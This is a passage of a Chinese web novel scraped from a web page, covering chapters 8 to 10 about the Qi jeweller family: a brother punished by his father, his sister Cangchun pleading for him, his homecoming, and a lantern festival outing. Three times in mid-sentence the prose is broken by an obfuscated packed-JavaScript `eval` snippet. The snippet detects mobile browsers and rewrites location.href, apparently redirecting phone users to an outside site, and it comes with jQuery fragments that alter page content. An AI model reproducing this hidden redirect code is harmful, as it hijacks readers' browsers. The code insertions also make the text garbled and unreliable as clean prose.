戚风堂双膝跪地,咬紧一截衣领,硬是一声不吭,固执地认为自己没错,很快他背上鞭痕遍布,稍一动弹便是钻心的疼痛。 四敞在一旁急得直跺脚,搓着手干着急,大夫人身子虚弱,戚老夫人又神志不清,他思来想去,还是跑向东跨院找藏春,想着至少劝少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708969|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷服个软认个错。 “你就给我跪着,跪到知道错了为止!”戚焕的怒喝在屋内回荡。 十一岁的戚风堂跪在地上,遍体鳞伤,唇也被咬出血痕,手上还留着打磨蜂蜡时划破的口子,他心里想着,若是被藏春瞧见,定又要心疼念叨了。 正想着,藏春的身影竟真的出现在门口,戚风堂一时恍惚,疑是痛极生幻:“二……二妹妹?” 她听四敞说哥哥挨了重打,便飞奔而来,万没想到竟如此严重,戚风堂跪在那里,背上衣衫破损,血痕刺目,藏春都不敢轻易碰他。 “二妹妹千万别哭,”戚风堂强扯出笑容,“我不疼,真的。” 藏春果然将泪水憋了回去,她知道哥哥不喜欢她哭。 “哥哥,我去跟爹爹求情,你等着我。”未等戚风堂阻拦,她已如风一般冲了出去。 她跑回房抓起前日画的荷花簪草图,然后跑向戚焕那间威严又陌生的书房。 雕花木门里头隐约传来沉闷的踱步声,藏春小腿发颤,但哥哥背上的伤痕还是更引得她心疼难过。 她闭了闭眼,再睁开时,已叩响了门扉。 戚焕见到这个素来怯懦的二女儿主动找来,颇为意外。 “爹爹,”藏春小心翼翼地观察着他的脸色,递上图纸,“我……我画了个簪子的草图,您能帮我看看么?” 戚焕顿了一下,接了过来,画上荷花花瓣灵动舒展,几处波纹状的线条透着稚嫩却别致的小巧思,他不禁正眼打量起这个女儿,自己从未刻意教导过她,一个六岁的孩子,未经指点能画成这样,已是难得。 “藏春,这真是你自己画的吗?”戚焕问道,语气缓和了些。 藏春用力点头,小手不自觉地捻着裤脚,终于她像是下定了决心,慢慢伸出小手,轻轻握住了戚焕垂在身侧的大手。 柔软微凉的触感让戚焕一怔。 “爹爹,”藏春紧张得有些语无伦次,“这都是哥哥教我的,哥哥他…他真的很好,爹爹能不能别让他跪着了?”她仰着小脸,眼中满是恳求。 戚焕看着女儿眼中的担忧和手中还算精巧的草图,又想起方才戚风堂那番有理有据甚至关乎戚宅安危的辩解,以及老师傅们和柳先生的佐证,心中那点因儿子胆大妄为而残留的怒气,终于消散。 转而升起一丝不易察觉的欣赏和…后怕。 他本就有些悔下手太重,此刻藏春的到来恰好给了他一个顺理成章的台阶。 “罢了,”戚焕叹了口气,“去叫他起来吧,记得上药。” 藏春脸上瞬间绽放光芒,忙不迭地向戚焕道谢。 戚焕看着二女儿欢欣的模样,心中念头微转:文芝骄纵,风林愚钝,幺儿病弱……眼前这个藏春,倒似比他们更伶俐沉稳些。 他揉了揉额角,语气难得温和:“藏春,往后若受了什么委屈,也可直接来找爹爹,不必如此生分。” 这简单的一句话,却给了藏春莫大的慰藉和勇气,她用力点头,脸上笑容更盛:“嗯,谢谢爹爹。” 从今日起,她也能保护哥哥了。 戚风堂被四敞小心搀扶回房,趴卧在榻上,他知道藏春素来畏惧父亲,万没想到她竟会为了自己主动去求情,心头涌起异样的暖意。 他居然被二妹妹保护了。 四敞小心地替他涂抹药膏,藏春环抱着双膝,安静地坐在脚踏的木板上,也不敢回头看他惨烈的背伤。 擦完药四敞便退下了,屋内只剩下藏春和戚风堂两个人。 听着戚风堂因疼痛而时断时续的话语,他费力地想从枕头底下摸索什么,闷哼一声,藏春立刻会意,忙帮他翻找。 只见一个红色的小小坠子,拿在手里轻飘飘的,触手却有种温热感。 戚风堂示意她戴上,藏春乖乖照做,将红绳绕过脖颈,哥哥总是喜欢送她各种精巧的小玩意儿。 “这是什么呀,哥哥?”她摸着那殷红温润的坠子。 “这个…可不一般,”戚风堂忍着痛,控制住让声音平缓,“这是占城国进贡的血珀,宫里娘娘们才有的稀罕物,我托何郝连,他也费了好番心思才弄来这一小块,本想着给你磨串手钏,如今只够做个坠子了。”他语气略带遗憾。 其实他心里想的是,既送了幺儿长命锁,便也得补给二妹妹一个更好的。 戚风堂送的东西,藏春都喜欢,那血珀坠子贴在胸口,温润妥帖。 “哥哥,什么是占城国呀?”藏春好奇地问。 “那是一个……很远很远的地方,”戚风堂眼中泛起向往的光,“我在风物志里看到的,那里盛产宝石,遍地奇珍……有很多很多的血珀,蓝玻璃,等以后,我一定要亲眼去看看。” “那我也要去。”藏春想跟哥哥在一起。 “好,”戚风堂笑了,尽管牵动了伤口,“哥哥一定带你去。” 戚宅的日子,就在这琐碎温情与偶尔生出的波澜中,悄然流淌。 8. 长大了 戚宝斋壹号铺,人头攒动。 藏春罩着轻纱面幕,目光却总在某一行账册上凝滞不动,每隔一会儿便低声问伙计一句:“什么时辰了?” 兰翠也在铺中忙碌,清点货品。 柜台上那只青瓷细瓶里,照例插着一支雪白的栀子。 这花柳先生一送便是十多年,风雨无阻,那熟悉的身影刚在门口晃过,兰翠便放下手中的活计,快步迎到廊下。 柳先生还是那身洗得发白,边缘磨出毛边的旧布衫,岁月在他脸上添了皱纹,身形也更清癯,人是愈发的憔悴。 兰翠眼尖,瞧他袖肘处裂开一道口子,线头松散,“又去码头扛活了?”她语气里带着熟稔的责备,“衣裳都破成这样了,快脱下来,我给你缝两针。” 两人站在廊檐投下的阴影里,低声絮语。 铺子里的藏春和陈掌柜远远瞧着,不由得相视一笑,这般你缝我补,拉扯了十年的光景,怕是连筑巢的燕子都已心知肚明,兰翠的心思,全系在这位潦倒书生身上了。 藏春单手支颐,望着廊下那对身影,心中困惑,在她初开的情窦里,情爱二字,纵有千般滋味,也不该是这般清苦挣扎的模样,翠姨图他什么呢? “唉,这柳先生,年年赶考年年落第,还是个穷酸书生,整日耷拉一张脸,没个笑模样,兰翠姐到底图个啥?”擦拭首饰的柴五娘心直口快,声音不小。 陈掌柜立刻瞪了她一眼,低声呵斥自己这个亲戚:“干活就干活,哪来那么多闲话。” 如今戚风堂在外头开了好几间分号,临安这间戚宝斋的老铺面,几乎全权托付给了藏春打理,她年纪虽轻,却已能独当一面。 只是此刻,铺子里的喧闹被槅扇阻绝,藏春的心早已飞到了别处。 今天是戚风堂归家的日子。 整整一年了,去年此时,他启程去了衡阳,在那里新开了两间铺子,前日收到他的家书,说铺子已安顿妥当,掌柜伙计皆可靠,约莫今日午时便能抵家。 晨起藏春便坐立难安,本想守在宅子里,可那等待的焦灼如同细小的蚂蚁在心尖上爬,连兰翠都瞧出她的魂不守舍,笑着劝她索性来铺子里打发时辰。 一年不见,藏春是真的想他了。 不知他是瘦了还是黑了,衡阳的饭菜他可吃得惯,天冷时衣衫可够厚,最要紧的是…他可曾像她日日夜夜思念他这般,也想起过她? 思绪纷乱,眼前账册上的字迹便越发模糊成一片墨团,她索性直接撂下,“陈掌柜,我有事先回去了。” 匆匆交代一句,藏春便出了铺门。 与此同时,临安码头,戚风堂乘坐的船竟提前了一个时辰泊岸,两辆青幔马车才堪堪装下他给家人带回的各色土仪,足足五口沉甸甸的大箱笼。 其中两口,是他费尽心思为藏春挑选的衣裳、玩物、字画、法帖,林林总总,恨不能将衡阳城的好东西都搬回来给她。 给文芝和风林的各备了一箱,还有一个单独的藤编药匣,里面装着托人从南地寻来的珍稀药材,是给幺儿的。 幺儿今年已经十一岁了,仍旧是体弱多病,整日里蔫蔫的提不起精神,宋明音正带着她在暖阁外的廊下晒太阳。 戚风堂方踏入家门,下人便已四下通传。 宋明音和杜姨娘得了信儿,几乎前后脚赶到了前厅。 宋明音迎上前,语气带着积攒了多时的埋怨,“一走就是一年,信也稀稀拉拉没几封,要不是二丫头念叨你何时归家,娘都不知道。” 她说着,目光扫到身边低着头的幺儿,伸手推了她一把,“又哑巴了,你大哥回来了,还不快叫人?” 幺儿瑟缩了一下,小声唤了句:“大哥哥……” “大点声,没吃饱饭吗,早上那碗鸡汤喂到哪儿去了。” 杜姨娘和厅中伺候的下人们早已对宋明音乖戾拧巴的脾气习以为常。 “大哥哥。”幺儿被母亲一喝,眼圈瞬间红了,声音里带了哭腔。 “好端端的又哭什么?”宋明音越发不耐。 戚风堂实在不忍再看下去,转向一旁的杜姨娘:“姨娘,二妹妹呢?” “二小姐清早就去铺子里照应了。”杜姨娘身边的大丫鬟墨香与兰翠交好,清楚藏春的行踪。 竟是去了铺子,戚风堂微微一怔。 “你这心都偏到天上去了,刚踏进家门就急着找二丫头,对自己嫡亲的妹倒不见这般上心。”宋明音的话冷不丁刺了过来。 “夫人,大郎一路车马劳顿,想是疲乏得很,不如先让他回房稍作歇息,这些年老爷在外奔波,大郎也辛苦撑持家业,难得平安归来,该是阖家欢喜的事。” 宋明音最看不惯杜姨娘这副温良恭俭让的模样,刚想发作,却被旁边一直默默坐着的奶娘轻轻扯了扯衣袖。 她只得将话咽回,喘了几口粗气,一屁股坐回圈椅里。 幺儿吓得脸色更白,缩在奶娘身后,大气不敢出,奶娘悄悄凑近宋明音,低声劝慰,语气也是颇多无奈,“夫人啊,大少爷哪次出门不是记挂着给三小姐寻访良药,这次回来又带回来这许多稀罕药材,您方才那话若是寒了大少爷的心,可如何是好?” “我也知道大郎辛苦……”宋明音靠在椅背上,望着奶娘,眼圈突然就红了“,可我这心里头就是拱得难受,尤其一看见幺儿那病样,我就……”她哽咽着,说不下去了。 奶娘叹息着抚了一下她的背。 戚风堂沉默地随着杜姨娘走出前厅,杜姨娘轻叹了口气,“幺儿的身子你也知道,时好时坏的,前几日又犯了喘症,一口气憋着差点就救不回来,你娘她日夜悬心,脾气难急躁些。” “家里上下,还多亏姨娘悉心操持,娘才能专心照顾幺儿。”戚风堂诚恳道。 杜姨娘摇摇头:“戚家能有今日这般光景,全仗着你父子二人在外头风里雨里地打拼,我不过是守着本分,料理些份内之事罢了。” 这话倒是不假,戚公子的名号,在江南江北的珠宝行当里已是响当当的一块招牌。 他亲手设计制作的首饰,常引得官宦贵眷们趋之若鹜,前阵子他新打的那套“桃枝绕珠”头面,线条灵动,镶嵌精妙,连南巡路过临安的宰相夫人都赞不绝口,引得外头无数铺子争相仿制,却怎么也仿不出那份浑然天成的灵气与巧思。 杜姨娘对自家儿子风林的资质心知肚明,失望多了也就断了望子成龙的念想,如今只盼着他能安分读书,将来得兄长多提携关照,不缺了那闲散富贵。 正思忖间,院外传来一阵轻快的脚步声和环佩叮当的声响,是文芝回来了。 她刚从外头参加完一个诗社雅集,一身藕荷色的新衫,发间簪着时兴的珠花,听姨娘说大哥已经到家,正在翠园,她立刻兴冲冲地提起裙摆奔了过去。 “大哥!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708970|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚风堂闻声回头,然而文芝瞬间捕捉到他在看清来人后一闪而过的黯淡,她撇撇嘴,“大哥这眼神,看见是我不是二妹妹,很失望吧。” 被她直白地点破,戚风堂有些无奈:“胡说,给你的东西一会儿叫人给你抬回院里去。” 地上并排放着四口大小不一的箱笼,文芝眸光一扫,立刻注意到靠近内室门口处,单独放着两口更考究的樟木箱子。 “大哥,你这也太偏心了,凭什么二妹一个人就有两口箱子,我和风林都只有一箱。” 质问声不大不小,戚风堂一时语塞,目光游移了一下,生硬地岔开,“风林这个时辰,该下学了吧?” 文芝得了满箱新奇有趣的玩意儿,衡阳特产的绣品、精巧的竹编玩物、时新的胭脂水粉,也就懒得再与他纠缠偏心的问题,欢欢喜喜地指挥丫鬟抬着箱子走了。 厅内只剩下主仆二人,气氛安静下来。戚风堂看着那两口樟木箱子,又看看文芝和风林的藤箱,忍不住问四敞:“我真有那么…偏心?” 四敞抬眼看了看自家少爷那副困惑又有些无辜的表情,忍不住撇了撇嘴,心里明镜似的,给大小姐和二少爷的那些东西,不过是他在衡阳城里最大的集市上,随手挑了些看着还算新奇体面的物件,装满了事。 可给二小姐藏春的那两口箱子,里面的每一样,都是少爷亲自逛遍了衡阳城的大街小巷,铺子摊档,一件件精挑细选出来的。衣裳的料子颜色,玩物的精巧别致,字画的雅致情趣,甚至连一方砚台、一支湖笔,都是反复比较才定下的。 塞得箱子满满当当,差点连盖子都合不上。 “这大概是因为……”戚风堂自己似乎也意识到什么,试图解释,“二妹妹喜欢什么,讨厌什么,我我心里都清楚些,文芝和风林……”他顿了顿,选择闭上了嘴。 想到风林在家书里总抱怨读书辛苦,课业繁重,戚风堂整了整微皱的衣袍,抬脚便往风林的书房走去。 他一面走,一面估摸着藏春也该从铺子回来了。 谁知此时的藏春,正一路小跑着回到戚宅,刚气喘吁吁地迈进大门,门房便满脸喜气地迎上来:“二小姐,大少爷到家啦,比信上说的还早一个时辰呢。” 藏春一听,心花怒放,哪里还顾得上歇口气,提着裙裾便朝戚风堂居住的翠园去。 走了几步又想起什么,赶紧停下,对着庭院水缸里的倒影,匆忙理了理被风吹乱的鬓角和微微散开的衣襟。 然她刚踏进翠园就听四敞说他去风林那边了。 满腔的欢喜被泼了冷水,她默默转身,怀里抱着的那沓自己闲暇时画的首饰设计图稿,闷闷不乐地走出翠园。 刚巧在游廊的拐角,撞上了正要出门的文芝。 文芝对文人雅士的聚会充满热情,哪怕只是去旁听一场曲水流觞也觉得风雅无比。 她瞥见藏春怀里抱着厚厚一叠画稿,打趣道她:“二妹妹抱这么多画稿,难不成是要去考秀才?” 藏春抬起眼,对上文芝带着戏谑的目光,只是笑笑,并不接话。 见她还是那副面团似的,温吞吞的老实脾气,打不还手骂不还口的样子,文芝顿觉无趣至极,也懒得再理会她,径自走了。 藏春抱着画稿回到自己的东跨院,屋子里静悄悄的,她将图稿放在书案上,坐在窗边。 不知过了多久,门外终于响起了她期盼已久熟悉的脚步声。 9. 哥哥偏心 戚风堂依旧偏爱素雅洁净的衣衫,一身月白色的锦袍,衬得他身姿挺拔。 只是那风尘仆仆的脸上,似乎真的瘦了些,藏春嘴角刚扬起的弧度,又不由自主垮了下去。 “哥哥偏心。”她带着点委屈的鼻音。 一天之内被扣了三次偏心帽子的戚风堂,站在门口,脸上浮现出真实的困惑。 藏春并不为难他,自己说了出来,“哥哥见了大夫人,幺儿,杜姨娘,大姐姐,风林,最后才想起来看我”,她顿了顿,眼底的痣也随之一晃,水汪汪的眼睛盯着他,笑意绽开,“不过没关系,哥哥回来了,我就很开心。” 戚风堂上前一步,自然而然地张开双臂,将藏春拥入怀里。 他知道,她想他了。 “哥哥怎么会忘了你?”下巴轻轻蹭了蹭她柔软的发顶,语调微扬带着不认同。 藏春细细打量他的脸庞,眉头微蹙:“哥哥瞧着清减了,在外面定是辛苦。” “还好,”戚风堂松开她,笑了笑,语气轻松,“衡阳水土养人,没吃什么苦头,倒是你,看着长高了些。” 当年豆丁儿大的小女娃也出落得成了亭亭玉立的戚二小姐了。 藏春这才注意到他身后跟着的四敞和另外两个小厮,正吃力地将那两口显眼的樟木大箱子抬进她的屋子。 她快步走到箱边,小心翼翼地打开,里面果然琳琅满目,有绣工精美的衣裙,有造型别致、憨态可掬的泥塑小玩意儿,崭新的文房四宝,笔是上好的湖笔,砚台温润,还有几卷字画,是她喜欢的山水小景…… 戚风堂坐在一旁的圈椅上,含笑看着她在箱子前蹲下,拿起这件看看,又摸摸那件,欢喜的不得了。 一下午,戚风堂都待在这里。 他留意到藏春常用的那个黄花梨木妆匣,红漆已有几处斑驳磨损,边角也磕碰得掉了些漆皮,他心中一动,起身走到妆台前,拿起那个匣子仔细看了看。 “漆有些旧了。”他走到自己带来的行李旁,翻找了一下,取出一个小巧的瓷罐,里面是上好的蜂蜡。 用指腹挖出一点晶莹的蜂蜡,均匀地涂抹在妆匣磨损处,再用一块柔软的细棉布,耐心地一圈圈地打磨起来。 修长的手指在木匣上游走,动作专注而温柔,藏春不再说话,安静地趴在桌边,双手托着腮,目光落在他的侧脸上,看着看着,她不由自主得眉眼弯弯。 藏春的目光又落回戚风堂手上。 她自然地拉过他空闲的那只手,骨节分明之上依旧布满了薄茧和新旧交叠的伤痕。 她起身,从自己的妆台抽屉里拿出一个精致的小瓷盒,里面是散发着清雅花香的白色膏脂。 她挖了一点,轻轻点在戚风堂的手背上,然后用指腹温柔地,细细地在他粗糙的手掌和布满薄茧的手指上涂抹开来。 “只有二妹妹在意我这双手。”戚风堂笑着,任由有些粘腻的香膏在自己手上润开,目光仍锁在自己正打蜡的妆匣上。 “早就说了,不能这么糟蹋自己的手,哥哥不听,我又能有什么办法呢?” 那近在咫尺的手,让藏春的心跳悄悄乱节奏,她忍住强烈的想要十指交握的冲动,本分的将香膏收回匣子里。 戚风堂的手上已满是茉莉花香,她恋恋不舍地松开。 暖阁的接风宴已布好,一室菜香氤氲。 宋明音特意吩咐厨房备下了戚风堂素日爱吃的菜,满满当当摆了一桌子,盼了这么久,虽说戚焕还在汴京照看生意,儿子总算归家,她眉梢眼底也染上几分真切的欢喜。 藏春细心为身旁的祖母布菜,老太太年纪越大,神志越发糊涂,目光扫过席间陌生的戚风堂,一把拉住藏春的手,指着他:“这小子…是你夫君呐?” 席间霎时一静,众人面面相觑,对这整日里胡言乱语的老太太,早已习以为常,只余无声的尴尬。 风林噗嗤一声笑了出来:“祖母,您再瞧瞧,这不是大哥嘛,大哥才离家一年,您又认不出了?” 戚风堂闻言,配合地倾身向前,离祖母近了些。 “是了!”老太太猛地一拍桌子,言语笃定,藏春心头一喜,期待的看着她,以为她终于认出来了。 谁知老太太下一瞬竟扯住戚风堂的手,老泪纵横:“大哥啊,你……你都好些年没来看我了,大哥。” 风林这下再也忍不住,笑出了声,杜姨娘低声呵斥他,宋明音也蹙眉打断:“娘,您浑说什么呢,这岂不是折煞了大郎?” “祖母,是我啊。”戚风堂轻唤,戚老夫人却不再理他,只委屈地挨着藏春:“我要吃那个,大哥他不认我……” 藏春忙给她夹了一箸小虾米,转头安慰戚风堂:“哥哥离家久了些,过些日子祖母就认得了,前儿大姐姐才出去两日,回来时祖母还拉着她直叫妹妹呢。” 她这一提,众人才发觉席上空着一个位置,宋明音的目光立刻转向风林,风林放下筷子,含糊道:“她……许是又出去会友了。” “咱们虽是商贾人家,不比官宦门第有规矩,可一个姑娘家,整日不着家地往外头疯跑,成何体统啊。”宋明音不满。 话音刚落,陈掌柜在暖阁外求见,说是寻二小姐,藏春放下碗箸出去应话。 片刻后藏春回转落座,戚风堂关切地问:“何事?” “是孙员外的夫人,新定了一批玉梳。” “二丫头也是,虽说铺子里离不得你,可姑娘家总这般抛头露面,终究不大好。”宋明音接过话茬。 藏春垂下眼睫,默不作声,戚风堂眉头微蹙,刚欲开口,袖口却被藏春轻轻一扯,他又将话咽了回去。 幺儿挑食,碗里宋明音夹的鱼肉一口未动,宋明音深吸一口气:“快些吃,不吃饭身子骨怎么硬朗,将来大了,还怎么说亲?” “幺儿不爱吃,就拨给我吧。”藏春自然地伸过筷子,将幺儿碗里的鱼肉拨到自己碗中。 “桌上既没人爱吃鱼,二妹妹也不必勉强。”戚风堂抬眼,目光平静又认真地看向宋明音,“娘也不必忧心,幺儿日后即便终身不嫁,咱们家难道还养不起她一辈子?” “说什么傻话。”宋明音气结,“女子哪有不嫁人的道理!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708971|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是啊大郎,”杜姨娘难得与宋明音同声,“你疼妹妹,这话却是不对的。” 两个妇人意外地站到了一处,风林听了却乐了,忙插嘴:“大哥,那以后也能养我一辈子吗?” “只要你不作奸犯科,触犯律法,”戚风堂神色一正,“哥哥自然也养你。” 杜姨娘被儿子这不争气的话气得一时语塞。 藏春始终低着头,一言不发。 又是一年花灯佳节将至,藏春心头早已盈满了期待,去年此时,戚风堂远在衡阳,她只得与风林文芝同去,实在是毫无意趣。 她悄悄抬眼望身侧的戚风堂,终是按捺下开口相邀的冲动,将话咽回了肚里。 待到宴席散尽,众人各自离去,藏春寻至西偏厦。文芝已经回来了,正对着镜子比量着一身新裁的湖蓝夏衫。 藏春立在门边,含笑道:“大姐姐这身衣裳真衬人,清雅得似雪山上的莲花。” 文芝闻言,果然眉开眼笑,将衣衫搁在妆台上:“二妹妹这话倒是好听。” 藏春顺势问道:“明日花灯节,大姐姐可要去赏玩?” “自然要去,”文芝兴致颇高,“不过不和你去,你去找风林作伴吧,他可是个大闲人。” 藏春本就是明知故问,此刻得了满意的回复,转身便去寻风林。 书房里,风林正愁眉苦脸地与书本较劲,手中的笔杆仿佛要将纸页戳穿,一听花灯节可以出门,他立刻眉飞色舞:“去!当然去!” 藏春却面露难色:“只是……铺子里刚接了一单急活,要给一批玉佩打新络子,工钱足有二十两呢,可惜一时寻不到可靠的人手……这可怎么办呢?” 杜姨娘对风林管束虽严,银钱够用却禁不住他爱往樊楼尝鲜,他年纪尚小,又不像藏春自有铺子生财,囊中时常羞涩,此刻听闻有二十两进项,眼珠滴溜一转,立刻拽着藏春衣袖央求:“二姐姐,肥水不流外人田哪,这活儿交给我,银子让亲弟弟赚了,岂不正好?” “这……”藏春佯作迟疑,“若有人问起你为何不去花灯节…” “放心我定说是有要紧事绊住了脚,二姐姐给我赚钱的机会,我绝不会供出你,姨娘也找不着你麻烦。”风林拍着胸脯保证。 藏春这才面露为难地应下。 她脚步轻快地折回翠园,甫入月洞门,便见戚风堂正坐在廊下捣弄着什么,一股淡淡的鱼腥味随风飘来。 见藏春进来,他下意识地将手边盛着半透明胶状物的瓷钵盖上了盖子。 藏春停在月洞门下,执起帕子虚掩着口鼻,秀眉微蹙。 戚风堂瞧见她这模样,眼底掠过一丝笑意,主动起身走近了几步:“只是熬的鱼胶,没有毒。” 藏春后退半步,纤细的手指拎着帕子一角,掩住口鼻,表情有些许嫌弃,“哥哥便站在那里吧。” 戚风堂止住脚步,略低头闻了闻自己,不禁怀疑,有那么难闻吗? “哥哥,明日花灯节,风林和大姐姐都不得空,我一个人去怪没意思的,你陪我去可好?”藏春抬起盈盈水眸。 10. 花灯节 两岸长街拖出绵长的灯影,将西湖水照得粼粼波动,恍若万千丝线闪着细光,晃得人眼睫生辉。 市列珠玑,户盈罗绮,鳞次栉比的商铺流光溢彩,戚宝斋的铺面也在其中亮着微光。 铺里隐约可见风林勤快的身影,他正借油灯将新打好的络子一枚枚挂起,藏春瞥了一眼,唇角微弯,自然地挽上戚风堂的胳膊,带着他转了个方向,“哥哥,那边好生热闹,咱们快也去瞧瞧。” 为应这良辰美景,藏春特意为戚风堂挑了一身水墨染纹的长衫,自己则是一袭豇豆红的衣裙,衬得肌肤愈发莹白,唯有双颊透出淡淡的杏粉色。 前方人头攒动,围着一处花灯摊子,尤以身着麻布长衫的读书人居多。 一张木案后,掌柜满面笑容,拱手道:“诸位俊彦才子,今夜花灯盛会,老朽特备下这些精巧花灯,不图银钱,但求以文会友!老朽出上阙,最快对出下阕者,便可先挑一盏心仪的带走。或赠佳人,或予小妹,皆是一份雅意。日后还望诸位多多捧场小店!” 掌柜朗声出题:“上阙:碧树琼花灯间映——” 话音刚落,已有数人提笔蘸墨,伏案疾书,场面热烈,如一场小型诗会,人声鼎沸中,戚风堂微微俯身,在藏春耳畔低语:“喜欢这里的灯?” 藏春既未点头也未摇头,只小声嘟囔:“算了吧,咱们读书又不多,哪会作诗呀?” 戚风堂闻言,径直分开人群,走了进去。 藏春望着他的背影微微一怔,那身水墨衣衫穿在他身上,行走于文人墨客间,竟无半分违和,只见他与几位年轻书生低语了几句,便又折返回来。 不多时,便有人恭敬地递来一盏飞鱼造型的花灯,鱼身玲珑剔透,尾鳍灵动,藏春惊喜接过。 “哥哥是给了他银钱?”藏春抚摸着那粉嘟嘟的鱼嘴,指尖有一下没一下地拨弄着。 戚风堂颔首。 “哥哥怎知他定能作出好诗?”藏春抬眸,眼中带着好奇。 “我并不知道。”戚风堂神色坦然。 藏春眼中疑惑更甚。 “所以,”戚风堂话锋一转,拍了拍明显瘪下去的钱袋,“我给了很多人银钱。”只要给的人够多,总有能作出来。 藏春干笑两声,不愧是商贾之家作风,还不知那些书生背后怎么谈论他们财大气粗呢。 两人并肩而行,地上拉长的影子,戚风堂的明显高出一截。 灯火阑珊处,不少年轻郎君认出常去戚宝斋的藏春,纷纷含笑招呼,藏春有些意外,平日铺中她多覆着面纱,不想此刻竟也被人认出,她温声一一回应。 戚风堂眉头微挑:“都认识?” “不过是铺中常客,算不得相熟。”藏春随口答道。 行至另一处更为热闹的诗会圈子,藏春眼尖地瞥见文芝的身影,她正含羞带怯地跟在一个书生打扮的男子身后,眼神专注,竟是一刻都舍不得挪开。 那个男子似是才华横溢,许多人绕在他身侧,等着看他下笔能落出什么大有乾坤的诗句。 恰在此时,旁边小贩大声吆喝,鼻中也传来糖炒栗子的甜香,戚风堂记得藏春爱吃,便道:“等着,我去买些。” 文芝也瞧见了长腿跨步,在人群穿行的戚风堂,登时倒吸一口凉气,慌忙将藏春拉至廊下暗处。 “大姐姐,那位是……?”藏春目光瞥向那已快融入人群的书生背影,语气略微拖长。 “二妹妹,千万别让大哥瞧见我,不然他又要问东问西的。”文芝双手合十,急得声音都变了调,一边紧张地瞥着那书生消失的方向,生怕跟丢,“算姐姐求你。” 眼见戚风堂已买好栗子即将转身,文芝眼中哀求更甚,藏春抿唇一笑,点头应了。文芝立刻如蒙大赦,提起裙摆便匆匆追入人流。 藏春瞧着文芝那副全然不见平日娇纵,只顾着追逐书生背影的殷勤模样,心下只觉又稀奇又好笑,她竟也有这样的一面。 买完栗子的戚风堂似乎也瞧见了一抹眼熟的湖蓝身影,他正欲上前细看,身边人群忽然一阵拥挤推搡。 “当心。”戚风堂眼疾手快,一把扶住被挤得踉跄的藏春。 藏春的手臂被他稳稳托住,她借力微稳身形,下意识地将手搭在戚风堂肩上,侧头急切地朝人潮中张望,方才那抹湖蓝色的身影已然不见,她这才松了口气,抬起头,不动声色地与戚风堂拉开些许距离,口中含糊道:“今日人真是太多了,亏了哥哥及时扶住,不然我定要摔了的。” 无人打扰的静谧氛围里,她突然想他昨日席间说的话,心中微微活动,犹豫片刻轻声问道:“哥哥,那日你说幺儿即便终身不嫁也无妨,此话可是当真?” 她垂着眼,指尖缠绕着飞鱼灯下垂坠的细绳,一圈又一圈,实则眼角的余光一直悄悄留意着他的神色。 “自然当真。”戚风堂答得毫不犹豫,目光温和却带着一丝探究,“怎么,娘和杜姨娘不信,莫非连二妹妹也不信我?” 未等他深究问话里潜藏的幽微心思,藏春脸上已迅速挂起了那惯常的,如同面具般温和的笑意,连声道:“信的,信的,不过是随口一问罢了。” 羌管弄晴,菱歌泛夜,乘着无边风月,听着悠扬箫声,藏春的心被欢愉填满,这大抵是她记忆里,最圆满的一个花灯节了。 夜色渐深,蜿蜒的长街灯火依旧璀璨,玩兴正酣的游人也未见稀少,花灯节并无宵禁,平日管理虽也宽松,但能这般光明正大,无所顾忌地畅游至深夜,众人到底觉得格外松快。 戚宅里的杜姨娘枯坐灯下,听着更漏声声,望着窗外越来越浓重的夜色,心中焦急渐生。 文芝这孩子,怎么还不回来? 风林早已做完藏春交代的活计,揣着新得的银子心满意足地回来了,此刻正打着哈欠,见姨娘屋里的灯还亮着,便晃悠过去陪她说话。 “姨娘,您怎么还不歇着?”风林揉了揉眼睛。 “你都回了,你大姐姐还在外面,这都什么时辰了?一个姑娘家,夜半三更还在外头,多让人挂心。”杜姨娘忧心忡忡。 风林不以为意:“大姐那性子您还不知道,她不欺负别人就不错了,谁能欺负得了她,再说了,今儿花灯节,大家都玩得晚,大哥和二姐姐不也没回来么?” “你大哥是男子,二姐姐是跟着兄长在一处,那能一样吗?”杜姨娘叹了口气,对这个心思粗疏的儿子早已不抱指望,“算了,跟你说你也不懂。” 正说着,门外传来极轻的脚步声,文芝蹑手蹑脚地溜回自己院子,刚想松口气,身后却传来杜姨娘严肃的声音:“站住,你跟什么人出去了,是不是和男子?” 文芝第一反应便是藏春告密,今日撞见她的只有藏春,一股火气登时涌上:“是不是二妹妹跟您嚼舌根了?我这就找她去。” “大姐姐!”风林忙叫住她,语气带着维护,“你可冤枉二姐姐了,她和大哥到现在还没回呢,你别什么事都赖二姐头上。”他今日刚得了藏春的好处,自然要替她说句话。 